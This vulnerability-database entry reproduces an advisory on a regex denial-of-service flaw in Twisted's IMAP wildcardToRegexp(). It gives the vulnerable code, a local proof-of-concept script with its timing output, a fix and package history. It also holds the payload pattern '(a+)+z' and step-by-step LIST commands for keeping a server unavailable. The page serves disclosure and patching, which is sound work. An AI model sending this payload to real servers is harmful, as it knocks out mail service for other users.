Twisted: IMAP wildcardToRegexp() ReDoS
Summary
wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.
Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.
Vulnerable Code
twisted/mail/imap4.py
# line 4595
def wildcardToRegexp(wildcard, delim=None):
wildcard = wildcard.replace("*", "(?:.*?)")
if delim is None:
wildcard = wildcard.replace("%", "(?:.*?)")
else:
wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
return re.compile(wildcard, re.I) # ← user input compiled verbatim# line 4993
class MemoryAccountWithoutNamespaces:
def listMailboxes(self, ref, wildcard):
ref = self._inferiorNames(_parseMbox(ref.upper()))
wildcard = wildcardToRegexp(wildcard, "/") # ← user-supplied wildcard
return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]Proof of Concept
from twisted.mail.imap4 import wildcardToRegexp
import time
rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
victim = "a" * n
t0 = time.perf_counter()
rx.match(victim)
print(f"n={n}: {time.perf_counter() - t0:.3f}s")Output on Twisted 25.5.0:
[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()
n time
--- ----------
20 0.153s
22 0.651s
24 2.941s
26 14.545s
28 55.019sTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.
Impact
Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.
An attacker who can register an account (or obtain credentials through other means) can:
CREATEa mailbox whose name is an exponential-blowup trigger string.- Issue
LIST "" "(a+)+z"(or equivalent ReDoS pattern). - Repeat at ~1-minute intervals to keep the server permanently unavailable.
No exploit code or special privileges beyond an IMAP login are required.
Fix
Escape non-wildcard characters before compiling:
def wildcardToRegexp(wildcard, delim=None):
# Split on the two IMAP wildcards, escape everything else
parts = re.split(r'([*%])', wildcard)
result = []
for p in parts:
if p == '*':
result.append('(?:.*?)')
elif p == '%':
if delim is None:
result.append('(?:.*?)')
else:
result.append('(?:(?:[^%s])*?)' % re.escape(delim))
else:
result.append(re.escape(p)) # ← escape all other characters
return re.compile(''.join(result), re.I)Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | twisted | <= 25.5.0 | sin corrección |
Referencias
- https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g
- https://nvd.nist.gov/vuln/detail/CVE-2026-106454
- https://github.com/twisted/twisted/pull/12788
- https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f
- https://github.com/twisted/twisted
- https://pypi.org/project/twisted
- https://github.com/advisories/GHSA-8pqf-f4m5-798g
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L- Debilidad (CWE)
CWE-1333- Plataforma
- Python (PyPI)
- Paquete
twisted- Publicada
- 07.10.2026
- Actualizado
- 15.10.2026 18:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-8pqf-f4m5-798g - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-4304 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: twisted
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 17
- Primera → última
- 06.2019 10.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 5
- Alta 4
- Media 8
Divulgaciones por año
- 2019: 3
- 2020: 3
- 2021: 0
- 2022: 6
- 2023: 1
- 2024: 2
- 2025: 0
- 2026: 2
-
Twisted: IMAP wildcardToRegexp() ReDoS esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.